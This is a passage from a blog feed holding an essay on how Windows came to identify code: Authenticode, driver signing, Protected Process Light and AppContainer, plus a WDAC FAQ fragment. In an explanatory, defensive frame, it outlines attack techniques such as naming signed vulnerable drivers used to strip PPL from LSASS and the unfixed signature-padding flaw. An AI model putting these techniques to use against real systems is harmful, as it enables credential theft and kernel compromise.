  { q: &quot;What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?&quot;, a: &quot;Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>wdac</category><category>hvci</category><category>app-control</category><category>kernel</category><category>byovd</category><category>application-control</category><category>memory-integrity</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>&quot;Who Is This Code?&quot; -- The Quiet 33-Year Reinvention of App Identity in Windows</title><link>https://paragmali.com/blog/windows-app-identity-33-year-reinvention/</link><guid isPermaLink="true">https://paragmali.com/blog/windows-app-identity-33-year-reinvention/</guid><description>NT 3.1 could prove which user typed at the keyboard but had no answer to which code was running. Eight successive primitives later, Windows is still answering the same question.</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>
Windows NT 3.1 (1993) could prove which **user** typed at the keyboard but had no answer to **which code was running**. Over the next thirty-three years, eight successive primitives -- Authenticode, Kernel-Mode Code Signing, Protected Process Light, AppContainer with the Package SID, App Control for Business, Mark of the Web with SmartScreen, the Vulnerable Driver Block List, and Pluton-rooted attestation -- accreted into a single layered code-identity stack. Each was forced into existence by a specific, named failure of the one before it. This is that story, told as one system.
&lt;h2&gt;Two identities, one operating system&lt;/h2&gt;
&lt;p&gt;On July 27, 1993 -- the day Windows NT 3.1 shipped -- the new operating system could prove with cryptographic precision who Alice was, which group she belonged to, which file she was allowed to open, and at what level of privilege she was running. It could prove exactly nothing about the program she had just double-clicked.&lt;/p&gt;
&lt;p&gt;Thirty-three years later, &quot;Alice&quot; has barely changed. The code she runs has acquired a publisher signature stamped onto its Portable Executable file, a kernel-loader gate that refuses to load unsigned drivers, a signer level in a runtime lattice that decides whether one process can read another&apos;s memory, a Package SID derived from a Crockford-Base32 hash of the manifest publisher [@ms-package-identity], a publisher-rule entry in a centrally managed App Control policy [@ms-appcontrol], a Mark-of-the-Web alternate data stream from the browser that downloaded it [@ms-fscc-motw], a SmartScreen reputation score [@learn-smartscreen], a possible entry on a Microsoft-curated denylist that overrides its own valid signature [@msft-driver-blocklist], and -- on a Pluton-equipped 2026 laptop -- a hardware-attested measurement of the boot chain that loaded it [@learn-pluton]. Every one of those identities was forced into existence by a specific failure of the one before. This is that story.&lt;/p&gt;
&lt;p&gt;A modern symptom makes the asymmetry concrete. In April 2026, attackers seized the publishing pipeline for the &lt;code&gt;@bitwarden/cli&lt;/code&gt; npm package -- a credential they had no business holding -- and shipped a backdoored release for ninety-three minutes before maintainers caught it [@bitwarden-statement]. Code identity, as it existed at every layer of every operating system that consumed that package, said the artifact was authentic. The signature was valid. The publisher&apos;s account was real. The package metadata was correct. Every check passed. &lt;em&gt;And the binary was hostile.&lt;/em&gt; That gap, between &quot;who shipped it&quot; and &quot;is it safe to run,&quot; is the same gap NT 3.1 first stepped over in 1993 and that Windows has been trying to close ever since.&lt;/p&gt;
&lt;p&gt;The Bitwarden case sits in a long company. Stuxnet&apos;s stolen Realtek and JMicron driver-signing keys (2010) [@symantec-stuxnet], Flame&apos;s MD5 collision against Microsoft&apos;s own intermediate CAs (2012) [@ms-2718704], the ASUS ShadowHammer pipeline compromise (operation 2018, disclosed 2019) [@securelist-shadowhammer], every &quot;Bring Your Own Vulnerable Driver&quot; rootkit since 2018 -- they all have the same shape. A valid Windows-anchored signature, on code the publisher did not intend to ship, on a machine that loaded it without complaint.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every Windows code-identity primitive introduced since 1996 was forced into existence by a specific failure of the layer before it. The article&apos;s spine is that cascade.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The pieces in 2026 are not a feature checklist. They are a layered system, each layer answering a question its predecessor structurally could not. If you read the Microsoft Learn pages one at a time you see eight unrelated products. If you read them in the order their failures forced them into existence, you see one operating system slowly learning to name the code it runs.&lt;/p&gt;

timeline
    title Windows code identity, 1993 to 2026
    1993 : NT 3.1 ships : user-only principal
    1996 : Authenticode : publisher signature on PE
    2002 : Trustworthy Computing memo : SDL forcing function
    2006 : Vista x64 KMCS : refusal of unsigned kernel code
    2010 : Stuxnet : stolen Realtek + JMicron keys
    2012 : AppContainer : per-app SID
    2012 : Flame : MD5 collision against MS CA
    2013 : Windows 8.1 PPL : signer level as runtime ACL
    2015 : Device Guard / WDAC : publisher policy
    2019 : ASUS ShadowHammer disclosed : compromised pipeline (2018 operation)
    2020 : Pluton announced : in-die security processor
    2022 : Driver Block List default-on : signed != trusted
    2024 : CrowdStrike outage : placement is identity
    2025 : MVI 3.0 user-mode preview : kernel/user split
&lt;p&gt;&lt;em&gt;Timeline sources, in row order (Mermaid syntax does not permit inline tokens inside the timeline block; each event is independently cited in the surrounding prose as well):&lt;/em&gt; 1993 NT 3.1 [@custer-inside-nt]; 1996 Authenticode [@ms-news-1996-authenticode]; 2002 Trustworthy Computing memo [@cnet-gates-memo] [@theregister-tcm]; 2006 Vista x64 KMCS [@ms-kmcs]; 2010 Stuxnet [@symantec-stuxnet]; 2012 AppContainer [@ms-package-identity]; 2012 Flame MD5 collision [@ms-2718704] [@msrc-2718704]; 2013 Windows 8.1 PPL [@ionescu-ppl] [@ms-protected-processes]; 2015 Device Guard / WDAC [@ms-appcontrol]; 2019 ASUS ShadowHammer disclosed (operation 2018) [@securelist-shadowhammer]; 2020 Pluton announced [@learn-pluton]; 2022 Driver Block List default-on [@msft-driver-blocklist]; 2024 CrowdStrike outage [@ms-crowdstrike-blog] [@msft-crowdstrike-best-practices]; 2025 MVI 3.0 user-mode preview [@weston-2024] [@weston-2025].&lt;/p&gt;
&lt;p&gt;If user identity was easy, why did code identity take thirty-three years -- and where exactly did each generation break?&lt;/p&gt;
&lt;h2&gt;Why code had no name&lt;/h2&gt;
&lt;p&gt;Helen Custer&apos;s 1992 &lt;em&gt;Inside Windows NT&lt;/em&gt; opens its security chapter on a single principle: the user is the principal [@custer-inside-nt]. Every action the kernel arbitrates is attributable to a user account. The token that the kernel manufactures at logon carries a Security Identifier (SID) for the user, SIDs for each group the user belongs to, a privilege bitmap, and a set of impersonation flags. Every Discretionary Access Control List on every securable object is evaluated against that token [@ms-sids]. The kernel never asks what binary is running. It asks who is running it.&lt;/p&gt;

A variable-length value that uniquely identifies a security principal in Windows. Users, groups, computer accounts, and (later) packages and capabilities all receive SIDs. Until Windows 8, every SID encoded a *user* or *group*; AppContainer and Package SIDs (the `S-1-15-2-...` form) extended SIDs to name code instead.
&lt;p&gt;For 1993&apos;s threat model, the user-as-principal model was defensible. NT 3.1 lived on multi-user workstations in a trusted local-area network. The attacker the designers worried about was a malicious insider, a contractor with the wrong group membership, an admin who exceeded his authority. Code arrived on floppies and CDs from coworkers and shrink-wrapped vendors; nobody downloaded executables off the public internet, because for most of the world there was no public internet to download them from.Integrity levels (Low, Medium, High, System) were added later, in Vista (2006), and they are still attributes of the &lt;em&gt;token&lt;/em&gt;, not of the binary on disk. A Low-integrity Internet Explorer process and a Low-integrity Notepad receive the same write restrictions because their tokens carry the same Mandatory Integrity Control label, regardless of which binary loaded.&lt;/p&gt;
&lt;p&gt;Then came Internet Explorer 3.0 in August 1996 and ActiveX. Microsoft repositioned OLE/COM as a cross-internet component model and committed to letting any compliant ActiveX control execute inside the browser [@ms-news-1996-authenticode]. The decision was not casually made; it was the strategic foundation of Microsoft&apos;s bet on the web. But its consequence at the security layer was immediate and devastating.&lt;/p&gt;
&lt;p&gt;If Alice double-clicks a control on a web page, the operating system&apos;s question is &quot;who is running this?&quot; The answer is &quot;Alice.&quot; She is allowed to run anything she wants. The control does whatever it likes -- with her token, her files, her privileges, her network access. The user-as-principal model has no second axis to invoke.&lt;/p&gt;
&lt;p&gt;There was no theoretical fix at this layer. Alice did genuinely request the download. She did genuinely double-click. NT had no other principal to consult. The model was complete, internally consistent, and exactly wrong for the new threat surface.&lt;/p&gt;
&lt;p&gt;What was missing was a cryptographic, network-portable identity for the code itself, attached to the binary in a way nobody downstream could forge. If the kernel cannot see the code, who can put a name on it -- and how do we attach that name to a running PE?&lt;/p&gt;
&lt;h2&gt;The first naive attempt: Authenticode (1996)&lt;/h2&gt;
&lt;p&gt;On August 7, 1996, Microsoft and VeriSign jointly announced the first cryptographic answer Windows had ever offered to &quot;who is this code?&quot; The press release ran twenty-two paragraphs and named every design choice that the next thirty years of Windows code identity would inherit: an X.509 certificate issued by an external commercial Certificate Authority, a PKCS#7 SignedData blob attached directly to the binary, and verification at download or install time by Internet Explorer 3.0 [@ms-news-1996-authenticode].&lt;/p&gt;

A cryptographic format for binding a publisher&apos;s identity and a tamper-evident hash to a Portable Executable. The signature is stored in the PE Attribute Certificate Table as a PKCS#7 SignedData structure containing an X.509 certificate chain and a hash that excludes the checksum field, the certificate-table directory entry, and the certificate table itself. Authenticode names the *publisher*, not the code; this is the founding constraint the rest of the article is forced to work around.

The new Microsoft Authenticode technology uniquely identifies the publisher of a piece of software and provides assurance to end users that it has not been tampered with or modified. -- Microsoft press release, August 7, 1996 [@ms-news-1996-authenticode]
&lt;p&gt;That sentence is the founding promise of Windows code identity. Read it once and the rest of the article becomes inevitable. Authenticode promises two things. It identifies the publisher. It detects tampering. It does not promise that the publisher is trustworthy, that the publisher&apos;s key is uncompromised, or that the bytes it covers are safe to execute. Three decades of failure modes follow from exactly that scoping.&lt;/p&gt;
&lt;p&gt;The mechanism is precise enough to demand a diagram. SignTool computes a hash that deliberately skips three regions of the PE: the checksum field (which the loader recomputes), the certificate-table directory entry, and the certificate table itself. The signature does not have to sign the bytes of its own embedding [@ms-pe-format].&lt;/p&gt;
&lt;p&gt;It then forms a PKCS#7 SignedData structure [@rfc-2315] containing the hash, an algorithm identifier, the X.509 chain, and an optional RFC 3161 timestamp. That blob is appended to the certificate table. At verify time, &lt;code&gt;WinVerifyTrust&lt;/code&gt; recomputes the hash, walks the chain to a trusted root, and (if a timestamp is present) honours signatures that were valid as of the timestamped time even if the issuer has since revoked the certificate [@ms-cryptotools].&lt;/p&gt;

sequenceDiagram
    participant Dev as Developer
    participant Sign as SignTool
    participant PE as PE binary
    participant Win as WinVerifyTrust
    participant CA as CA / chain store
    Dev-&amp;gt;&amp;gt;Sign: signtool sign /a app.exe
    Sign-&amp;gt;&amp;gt;PE: hash bytes (skip checksum + cert table)
    Sign-&amp;gt;&amp;gt;PE: build PKCS#7 SignedData
    Sign-&amp;gt;&amp;gt;PE: append RFC 3161 timestamp
    Sign-&amp;gt;&amp;gt;PE: write into Attribute Cert Table
    Note over Win: at install / download time
    Win-&amp;gt;&amp;gt;PE: re-hash same byte ranges
    Win-&amp;gt;&amp;gt;PE: extract PKCS#7 SignedData
    Win-&amp;gt;&amp;gt;CA: verify X.509 chain to trusted root
    CA--&amp;gt;&amp;gt;Win: chain ok
    Win--&amp;gt;&amp;gt;Win: trust verdict (advisory pre-Vista)
&lt;p&gt;Three structural failure modes shipped on day one and still ship in 2026.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Userland was advisory.&lt;/strong&gt; A signed &lt;code&gt;.exe&lt;/code&gt; ran. An unsigned &lt;code&gt;.exe&lt;/code&gt; also ran. Internet Explorer would prompt the user with a publisher name, but the prompt was a UI feature, not a kernel gate. The signature was a credential offered for inspection, never a wall the loader refused to cross. Closing this gap took ten years for kernel code (Authenticode 1996 [@ms-news-1996-authenticode] -&amp;gt; KMCS, Vista 2006 [@ms-kmcs]) and nineteen years for managed user-mode policy (Authenticode 1996 [@ms-news-1996-authenticode] -&amp;gt; Device Guard, 2015 [@ms-appcontrol]). Unmanaged consumer Windows in 2026 still permits arbitrary unsigned &lt;code&gt;.exe&lt;/code&gt; to run if the user clicks through SmartScreen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The signed hash did not cover the whole file.&lt;/strong&gt; This is CVE-2013-3900, disclosed by Microsoft on December 10, 2013 in security bulletin MS13-098 [@ms13-098]. The Authenticode hash skips the certificate-table region by design, and the verifier in &lt;code&gt;WinVerifyTrust&lt;/code&gt; did not constrain the size of the unsigned PKCS#7 blob. An attacker could append arbitrary unauthenticated bytes inside the &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; structure of an already-signed PE without invalidating the signature.&lt;/p&gt;
&lt;p&gt;The fix was a registry value, &lt;code&gt;EnableCertPaddingCheck=1&lt;/code&gt;, that turned on strict verification. Microsoft chose not to enable it by default. Twelve years later, the National Vulnerability Database still records the same scoping note: &quot;Microsoft does not plan to enforce the stricter verification behavior as a default functionality on supported releases of Microsoft Windows&quot; [@nvd-cve-2013-3900]. CISA added CVE-2013-3900 to its Known Exploited Vulnerabilities catalog on January 10, 2022 -- eight years after disclosure, because attackers were still abusing the unfixed default [@nvd-cve-2013-3900].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; CVE-2013-3900 is still default-off in 2026. On any Windows endpoint where strict signature verification matters, set &lt;code&gt;HKLM\Software\Microsoft\Cryptography\Wintrust\Config\EnableCertPaddingCheck=1&lt;/code&gt; (and the WOW6432Node mirror on 64-bit). Microsoft documents the change as opt-in by design [@msrc-cve-2013-3900].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Timestamped signatures survive revocation.&lt;/strong&gt; The trust evaluator in &lt;code&gt;WinVerifyTrust&lt;/code&gt; is told to trust signatures as of the timestamped instant, not as of now. Removing this property would invalidate large catalogs of legitimate, archived signed software whose signing certificates have since expired [@ms-cryptotools]. The same property is what let the Stuxnet drivers load on every Windows machine that received them, because Microsoft revoked the Realtek and JMicron certificates &lt;em&gt;after&lt;/em&gt; Stuxnet had already shipped.The architectural choice here is genuinely hard. Synchronous global revocation would break offline software install. Asynchronous revocation, the alternative Microsoft chose, lets pre-revocation signatures continue to verify forever. There is no third option inside the Authenticode design.&lt;/p&gt;
&lt;p&gt;Pull these three threads together and the first aha falls out. Authenticode names the &lt;em&gt;publisher&lt;/em&gt;, not the code. A signed binary is a credential, not a verdict. The signature proves the bytes came from a holder of the publisher&apos;s private key. It does not prove the publisher is trustworthy, that the publisher&apos;s key has not been stolen, or that the bytes are safe to execute. Every failure mode of the next twenty-five years lives in that gap.&lt;/p&gt;
&lt;p&gt;Six years of failure modes had to accumulate before Microsoft executive priorities caught up. On January 15, 2002, Bill Gates sent the &quot;Trustworthy Computing&quot; memo company-wide, declaring security a higher priority than features and freezing engineering work for security review across its Windows product line (with SDL processes later extended company-wide) [@cnet-gates-memo] [@theregister-tcm]. The memo did not specify a code-identity mechanism. It is in this story because every later code-identity primitive -- the Security Development Lifecycle&apos;s mandatory SignTool integration, the XP SP2 hardening pass that produced MOTW, and the Vista work that produced KMCS -- shipped under the executive cover the memo provided [@windows-internals-7e].&lt;/p&gt;
&lt;p&gt;If unsigned code still runs in userland, what makes us think the same primitive will work for a kernel driver -- where the wrong binary owns the operating system?&lt;/p&gt;
&lt;h2&gt;The first refusal: KMCS, EV, and the WHQL pipeline (Vista, 2006)&lt;/h2&gt;
&lt;p&gt;Vista x64 shipped in November 2006 as the first Windows release that &lt;em&gt;refuses to load unsigned kernel code&lt;/em&gt; [@ms-kmcs]. The refusal was uncompromising. The kernel loader and the Plug-and-Play manager call into &lt;code&gt;WinVerifyTrust&lt;/code&gt; for every driver image; if the chain does not terminate at one of a small set of Microsoft-trusted roots, &lt;code&gt;MmLoadSystemImage&lt;/code&gt; returns &lt;code&gt;STATUS_INVALID_IMAGE_HASH&lt;/code&gt; and the driver does not load.&lt;/p&gt;

The Vista-era policy that requires every kernel-mode driver to carry an Authenticode signature chained to a Microsoft-trusted root. From Windows 10 1607 onward (the August 2016 Anniversary Update), only drivers signed by Microsoft via the Hardware Developer Center are accepted on Secure-Boot systems; end-entity cross-signed certificates issued before July 29, 2015 are grandfathered for legacy devices [@ms-kmcs].
&lt;p&gt;The mechanism is a load-time gate. In 2026, Microsoft offers three signing tiers that all terminate at a Microsoft cross-signed cert: HLK-tested (the full Windows Hardware Lab Kit run, eligible for retail Windows Update distribution), attestation-signed (lighter-weight, EV cert plus Microsoft attestation key, no hardware testing), and preproduction (developer signing for pre-release Windows builds) [@learn-driver-signing-offerings] [@ms-attestation-signing]. Driver &lt;code&gt;.cat&lt;/code&gt; catalog files extend Authenticode coverage from a single PE to an entire driver package, including INF files and supporting executables [@learn-embedded-sig].&lt;/p&gt;
&lt;p&gt;EV certificates -- Extended Validation, with mandatory hardware-security-module key storage and audited issuance -- became the practical floor for kernel signing. The reason was not pedagogical. A Domain Validated Authenticode cert from a commodity CA in that era could be obtained cheaply, often with little more than a working email address. EV raised the cost and binding strength of the publisher claim by an order of magnitude.&lt;/p&gt;
&lt;p&gt;Then, on June 17, 2010, Sergey Ulasen of the Belarusian anti-virus vendor VirusBlokAda flagged a strange piece of malware on a customer machine in Iran. It had been signed [@wikipedia-stuxnet].&lt;/p&gt;
&lt;p&gt;The Stuxnet dropper carried two kernel drivers, &lt;code&gt;mrxnet.sys&lt;/code&gt; and &lt;code&gt;mrxcls.sys&lt;/code&gt;, signed with legitimate Authenticode certificates issued to Realtek Semiconductor and JMicron Technology -- two Taiwanese hardware vendors. Investigators concluded the private keys had been physically exfiltrated from the publishers&apos; Taiwanese offices. VeriSign revoked the Realtek certificate on July 16, 2010 (and the JMicron certificate shortly afterward); Microsoft issued advisories and pushed Windows CTL updates to propagate the revocation [@symantec-stuxnet]. While the certs were valid, Vista x64 KMCS happily loaded both drivers on every system it touched.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; KMCS verifies &lt;em&gt;who signed&lt;/em&gt;, never &lt;em&gt;whether the signed code is safe&lt;/em&gt;. Every kernel-mode-identity failure between 2010 and 2026 reduces to that single sentence.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Stuxnet certificates were not anomalies. The same failure shape -- valid Microsoft-rooted signature, on code the publisher did not intend to ship, on a healthy KMCS-enforcing kernel -- replays at predictable intervals.&lt;/p&gt;

The Flame espionage toolkit produced a *forged* Microsoft-rooted certificate by exploiting an MD5 chosen-prefix collision against Microsoft&apos;s Terminal Services Licensing Service, which still issued MD5-hash code-signing certificates years after MD5&apos;s brokenness was known. Microsoft Security Advisory 2718704 revoked three of its own intermediate CAs and emergency-deployed a new Untrusted Certificate Store mechanism through Windows Update [@ms-2718704] [@msrc-2718704]. The episode forced Microsoft to deprecate MD5 in code signing and led directly to the curation infrastructure the Driver Block List uses today.
&lt;p&gt;ASUS ShadowHammer in 2018, disclosed by Kaspersky in 2019, added a third variant. The attackers did not steal an HSM-bound key. They compromised ASUS&apos;s signing pipeline and got their backdoor signed by ASUS&apos;s &lt;em&gt;production&lt;/em&gt; signing key in the normal course of a normal release, distributed through ASUS Live Update [@securelist-shadowhammer]. Kaspersky&apos;s analysis recorded &quot;trojanized updaters were signed with legitimate certificates (eg: &apos;ASUSTeK Computer Inc.&apos;)&quot; and that &quot;over 57,000 Kaspersky users have downloaded and installed the backdoored version of ASUS Live Update.&quot; The trust root, the chain, the cert -- all valid. The bytes -- attacker-controlled.&lt;/p&gt;
&lt;p&gt;KMCS verified that a driver was signed, not that it was safe. Signing alone was not enough. But what was?&lt;/p&gt;
&lt;h2&gt;The second refusal: identity as a runtime attribute (PPL, 2013)&lt;/h2&gt;
&lt;p&gt;Until October 17, 2013, code identity gated &lt;em&gt;whether&lt;/em&gt; code could load. Windows 8.1 quietly shipped a structural shift: code identity now also gated &lt;em&gt;what one running process could do to another&lt;/em&gt; [@ionescu-ppl]. Alex Ionescu, then CrowdStrike&apos;s founding Chief Architect and previously a co-author of &lt;em&gt;Windows Internals&lt;/em&gt;, was the first person to publish a detailed external map of the new mechanism. The lineage runs back to Vista&apos;s 2006 Protected Process model, originally introduced as a DRM container for protected media playback; PPL is the security-grade descendant of that primitive, repurposed seven years later as a general-purpose process-protection mechanism [@windows-internals-7e].&lt;/p&gt;

A protection attribute attached to running processes that mediates inter-process access checks above and beyond the user-token DACL. PPL processes carry a *signer level* (in increasing order, roughly: `Authenticode`, `CodeGen`, `Antimalware`, `Lsa`, `Windows`, `WinTcb`, `WinSystem`). A process can open `PROCESS_VM_READ`, `PROCESS_VM_WRITE`, or `CREATE_THREAD` rights against another protected process only if its own signer level is greater than or equal to the target&apos;s [@ionescu-ppl] [@ms-protected-processes].
&lt;p&gt;The mechanism lives in the kernel&apos;s &lt;code&gt;EPROCESS&lt;/code&gt; object. When process A opens process B, the kernel calls into &lt;code&gt;RtlTestProtectedAccess&lt;/code&gt; (and downstream &lt;code&gt;PsTestProtectedProcessIncompatibility&lt;/code&gt;) before any DACL evaluation [@scrt-ppl-bypass]. If A&apos;s signer level is below B&apos;s, sensitive access masks are silently stripped from the returned handle. The classic effect: an attacker running with a SYSTEM token, holding &lt;code&gt;SeDebugPrivilege&lt;/code&gt;, calling &lt;code&gt;OpenProcess&lt;/code&gt; on LSASS, gets back a handle without &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;. Mimikatz can no longer dump the LSASS process memory.&lt;/p&gt;
&lt;p&gt;The signer level itself is set by an Enhanced Key Usage extension on the Authenticode certificate Microsoft issues to the binary&apos;s publisher. Antimalware vendors receive a certificate carrying the &lt;code&gt;Antimalware&lt;/code&gt; EKU; only Microsoft-internal binaries carry &lt;code&gt;WinTcb&lt;/code&gt; [@itm4n-runasppl]. Identity, in this model, is an EKU OID baked into a Microsoft-issued Authenticode cert, attached to the binary, evaluated by the kernel at every cross-process access check.&lt;/p&gt;

flowchart TD
    A[WinSystem]
    B[WinTcb]
    C[Windows]
    D[Lsa]
    E[Antimalware]
    F[CodeGen]
    G[Authenticode]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; F --&amp;gt; G
    H[&quot;Caller (signer level X)&quot;] -- &quot;OpenProcess(target T, signer Y)&quot; --&amp;gt; I{&quot;X &amp;gt;= Y ?&quot;}
    I -- yes --&amp;gt; J[&quot;full access mask&quot;]
    I -- no  --&amp;gt; K[&quot;VM_READ / VM_WRITE / CREATE_THREAD stripped&quot;]
&lt;p&gt;LSASS-as-PPL is the canonical demonstration of the mechanism in practice. Setting &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1&lt;/code&gt; causes the next boot&apos;s LSASS to start with &lt;code&gt;PsProtectedSignerLsa&lt;/code&gt;. From that moment, no process below the &lt;code&gt;Lsa&lt;/code&gt; signer level can read LSASS memory, regardless of the user account. Mimikatz still runs as code; its &lt;code&gt;OpenProcess(LSASS, PROCESS_VM_READ)&lt;/code&gt; call returns a handle with the read right stripped, and its memory dump fails with &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; before it ever sees a credential blob [@itm4n-runasppl].The &lt;code&gt;RunAsPPL=1&lt;/code&gt; setting is mirrored into a UEFI variable on Secure Boot systems precisely so that an attacker with &lt;code&gt;HKLM\SYSTEM&lt;/code&gt; registry write but no firmware-level access cannot disable LSA Protection by editing the registry and rebooting. The UEFI mirror is checked before the registry value is read [@itm4n-runasppl].&lt;/p&gt;
&lt;p&gt;ELAM -- Early Launch Antimalware -- is the same idea applied to boot. An ELAM driver, signed with a Microsoft-issued antimalware certificate, runs before any third-party boot driver and gets to vote on which subsequent drivers are allowed to load [@learn-elam]. Signer level enters the boot chain at the earliest moment third-party code can enter the boot chain.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; PPL&apos;s invention is conceptual, not just mechanical. Code identity becomes a runtime ACL between two running processes, not merely a load-time gate. App Control, HVCI, and the Driver Block List all operate on this same conceptual frame: identity continuously evaluated, in context, while code is executing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PPL was, and is, the right idea. It is also incomplete in two ways that drove every subsequent layer.&lt;/p&gt;
&lt;p&gt;The first gap is BYOVD -- Bring Your Own Vulnerable Driver. A signed-but-vulnerable driver such as &lt;code&gt;RTCore64.sys&lt;/code&gt; (shipped with MSI Afterburner), &lt;code&gt;Capcom.sys&lt;/code&gt; (shipped with the &lt;em&gt;Street Fighter V&lt;/em&gt; anti-cheat), or &lt;code&gt;gdrv.sys&lt;/code&gt; (shipped with Gigabyte motherboard utilities) gives any local administrator arbitrary kernel read/write through an IOCTL. Because these drivers are validly KMCS-signed, they load. From kernel mode, the attacker simply zeroes the &lt;code&gt;Protection&lt;/code&gt; byte in the target process&apos;s &lt;code&gt;EPROCESS&lt;/code&gt; structure, and PPL evaporates. The signing chain is sound. The signer level is correctly evaluated. The mechanism that decides which kernel code is allowed to &lt;em&gt;exist&lt;/em&gt; -- not just to be signed -- is what fails.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; PPL is bypassed not by attacking PPL itself but by editing &lt;code&gt;EPROCESS.Protection&lt;/code&gt; from kernel mode. That is exactly why the Driver Block List had to exist as a separate layer above KMCS [@msft-driver-blocklist].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The second gap is the user-mode side. PPLdump and PPLfault demonstrated that confused-deputy DLL loads inside higher-PPL services could be turned into an arbitrary memory read of LSASS. Microsoft eventually patched PPLdump in Windows 10 21H2 build 19044.1826, but the failure &lt;em&gt;class&lt;/em&gt; remains structural: trusting a higher-signer process to safely load DLLs from publisher-controlled paths is a foot-gun every time a new such service ships [@ppldump-github] [@scrt-ppl-bypass].&lt;/p&gt;
&lt;p&gt;If signer level is the principal for OS-internal processes, what is the principal for the next layer up -- the application?&lt;/p&gt;
&lt;h2&gt;The application becomes a principal: AppContainer and the Package SID&lt;/h2&gt;
&lt;p&gt;Two processes, same user, same machine. One can read the user&apos;s SSH private keys. The other cannot. Same token. Same DACLs on the file. Different verdict. That is the AppContainer promise [@ms-appcontainer-isolation], and to keep it the operating system needs a &lt;em&gt;cryptographic identity for the application itself&lt;/em&gt; -- something derived from the application, not from the user, that ACLs can name.&lt;/p&gt;
&lt;p&gt;Windows 8 shipped AppContainer in 2012. Internally it was called LowBox, the name surviving in the legacy documentation [@ms-appcontainer-legacy]. Windows 10 generalised the model into MSIX, the modern app-package format [@ms-msix].&lt;/p&gt;

AppContainer is a per-process sandbox that augments the user-token security check with an *AppContainer SID* (`S-1-15-2-...`) derived from the package identity of the running application. ACLs and capability claims (such as `internetClient` or `picturesLibrary`) are evaluated against this SID, not against the user. Two processes running as the same user can therefore receive different access verdicts because their AppContainer SIDs differ.
&lt;p&gt;The cryptographic move is in how the SID is built.&lt;/p&gt;

Every MSIX/APPX package is identified by a five-element tuple: `(Name, Version, Architecture, ResourceId, Publisher)` [@ms-package-identity]. The `Publisher` field is the X.509 subject Distinguished Name of the certificate that signed the package. A 13-character `PublisherId` is derived deterministically from the Publisher DN by Crockford-Base32 encoding the first 64 bits of a SHA-256 hash (per community reverse-engineering; Microsoft&apos;s public documentation does not confirm the specific algorithm). The *Package Family Name* is then `_`; the *AppContainer SID* is computed deterministically from the full identity tuple and slotted into the `S-1-15-2-...` namespace.
&lt;p&gt;The derivation is dense enough to deserve a worked example. &lt;code&gt;Microsoft Corporation&lt;/code&gt; plus the &lt;code&gt;Microsoft.WindowsCalculator&lt;/code&gt; package name yields &lt;code&gt;Microsoft.WindowsCalculator_8wekyb3d8bbwe&lt;/code&gt; -- the suffix is the Crockford-Base32 PublisherId of &lt;code&gt;Microsoft Corporation&lt;/code&gt;&apos;s subject DN [@ms-package-identity]. Every MSIX package whose Publisher DN matches will share that suffix; every package whose Publisher DN differs will have a different suffix; an attacker who does not hold the publisher&apos;s signing key cannot make a package masquerade as belonging to that publisher&apos;s family.&lt;/p&gt;
&lt;p&gt;{&lt;code&gt;async function publisherIdOf(publisherDN) {   const data = new TextEncoder().encode(publisherDN);   const digest = await crypto.subtle.digest(&apos;SHA-256&apos;, data);   const first8 = new Uint8Array(digest.slice(0, 8));   // Crockford Base32 alphabet (no I, L, O, U)   const alpha = &apos;0123456789abcdefghjkmnpqrstvwxyz&apos;;   let bits = 0n;   for (const b of first8) bits = (bits &amp;lt;&amp;lt; 8n) | BigInt(b);   let out = &apos;&apos;;   for (let i = 0; i &amp;lt; 13; i++) {     out = alpha[Number(bits &amp;amp; 31n)] + out;     bits &amp;gt;&amp;gt;= 5n;   }   return out; } const dn = &apos;CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US&apos;; publisherIdOf(dn).then(pid =&amp;gt; console.log(&apos;PFN suffix candidate:&apos;, pid)); console.log(&apos;Real PFN: Microsoft.WindowsCalculator_8wekyb3d8bbwe&apos;); console.log(&apos;Note: the real algorithm is documented in package-identity-overview; this snippet demonstrates the structure, not the exact hash.&apos;);&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;Capabilities sit at the same layer. When an MSIX manifest declares &lt;code&gt;&amp;lt;Capability Name=&quot;internetClient&quot; /&amp;gt;&lt;/code&gt;, the package is tagged at install time with a &lt;em&gt;capability SID&lt;/em&gt; of the form &lt;code&gt;S-1-15-3-1&lt;/code&gt;, and the Windows Filtering Platform evaluates outbound TCP connections against that SID, not against the user&apos;s [@p0-appcontainer]. Mandatory Integrity Control labels (Low/Medium/High) compose with the AppContainer SID rather than replacing it [@learn-mic]. A broker process running outside the AppContainer is the only path back to user-scoped resources, and the broker keys its trust decisions on the calling Package SID.&lt;/p&gt;

